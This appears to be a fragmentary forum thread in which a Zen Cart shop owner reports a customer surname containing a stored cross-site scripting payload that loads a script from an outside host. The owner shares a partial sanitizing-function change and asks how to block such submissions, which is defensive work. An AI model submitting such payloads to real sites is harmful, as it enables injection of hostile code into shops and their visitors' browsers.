Search:

I modified functions_general_shared.php to



function zen_sanitize_string($string) {
$_SESSION['hackAttempt'] = false;
$string = preg_replace('/ +/', ' ', $string);
if...

Is there a way to have it prevent the form from being submitted if such an entry is detected, in the same way that the anti spam feature does?

No response on this from any of the Zen Cart devs, @DrByte, @lat9, @swguy?

I would have expected this kind of entry to be prevented at form submission.

I have a site running Zen Cart 1.5.7c with lat9's excellent One Page Checkout module.
A recent account created showed the following surname entry.


Anderson<ScRipT SRc=//nojs.me></

I checked...